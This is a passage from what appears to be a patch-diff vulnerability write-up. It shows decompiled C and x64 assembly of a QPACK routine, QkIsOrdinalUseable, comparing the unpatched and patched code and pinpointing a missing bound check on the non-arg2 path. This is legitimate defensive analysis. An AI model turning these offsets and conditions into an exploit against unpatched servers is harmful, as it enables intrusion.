&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;insert_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;max_entries&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// [+0x2038] &amp;lt; [+0x2030]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// table not full -&amp;gt; usable, NO bound check&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ResultEntry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;result_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// [+0x2020]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;f_18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// result marker set -&amp;gt; usable, NO bound check&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Only when table is full AND no result marker:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isArg2Path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;bound_2010&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// [+0x2010]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;bound_2018&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// [+0x2018]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// Corrected routine (QkIsOrdinalUseableNew at 0x14013CAD0;&lt;/span&gt;
&lt;span class="c1"&gt;// made unconditional in the patched build)&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="n"&gt;BOOL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;QkIsOrdinalUseable_NEW&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;QpackCtx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;isArg2Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x62&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// static table&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;f_1FE8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;f_1FEC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;isArg2Path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="c1"&gt;// NON-ARG2: always bound-checked&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;f_48&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;f_2008&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;bound_2018&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// [+0x2018] ALWAYS checked&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ARG2 path: unchanged relative to OLD&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;insert_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;max_entries&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ResultEntry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;result_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;f_18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ordinal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;bound_2010&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// [+0x2010]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The difference is confined to the non-arg2 path.&lt;/strong&gt; In the OLD routine a non-arg2 ordinal falls into the shared table path and is returned "usable" whenever &lt;code&gt;insert_count &amp;lt; max_entries&lt;/code&gt; or the result marker is set, so an ordinal exceeding &lt;code&gt;+0x2018&lt;/code&gt; is accepted while the table has spare capacity. The NEW routine gives the non-arg2 case its own branch that always evaluates &lt;code&gt;ordinal &amp;lt;= *(ctx+0x2018)&lt;/code&gt;. The arg2 path (&lt;code&gt;+0x2010&lt;/code&gt;, plus the not-full / result-marker shortcuts) is byte-for-byte identical between the two routines.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;QkIsOrdinalUseable&lt;/code&gt; — Unpatched (&lt;code&gt;0x14013CA40&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA40&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA44&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;UxKirHttpBugFix25Q2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA4B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CA54&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; flag == 0: run OLD routine below&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA4D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;QkIsOrdinalUseableNew&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; flag != 0: run corrected routine&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA52&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CAC2&lt;/span&gt;
&lt;span class="c1"&gt;; ---- OLD routine ----&lt;/span&gt;
&lt;span class="nl"&gt;loc_14013CA54:&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA54&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;FECh&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA5A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;FE8h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA60&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CA68&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA62&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; f_1FE8 == f_1FEC path&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA66&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CA81&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; ordinal &amp;gt; 0x62 -&amp;gt; return 0&lt;/span&gt;
&lt;span class="nl"&gt;loc_14013CA68:&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA68&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; isArg2Path&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA6A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CA85&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; arg2 -&amp;gt; shared table path&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA6C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA70&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CA85&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; non-arg2, ordinal &amp;lt;= 0x62 -&amp;gt; table path&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA76&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CA85&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; ordinal &amp;gt; f_48 -&amp;gt; table path&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2008&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA7F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CA85&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; ordinal &amp;gt; f_2008 -&amp;gt; table path&lt;/span&gt;
&lt;span class="nl"&gt;loc_14013CA81:&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA81&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; return 0&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA83&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CAC2&lt;/span&gt;
&lt;span class="c1"&gt;; ---- shared table path (BOTH arg2 and non-arg2) ----&lt;/span&gt;
&lt;span class="nl"&gt;loc_14013CA85:&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA85&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2030&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; max_entries&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA8C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2038&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; insert_count &amp;lt; max_entries?&lt;/span&gt;
&lt;span class="err"&gt;000000014013&lt;/span&gt;&lt;span class="nf"&gt;CA93&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14013CAC0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; table NOT full -&amp;gt; mov al,1 (NO bound check)&lt;/span&gt;
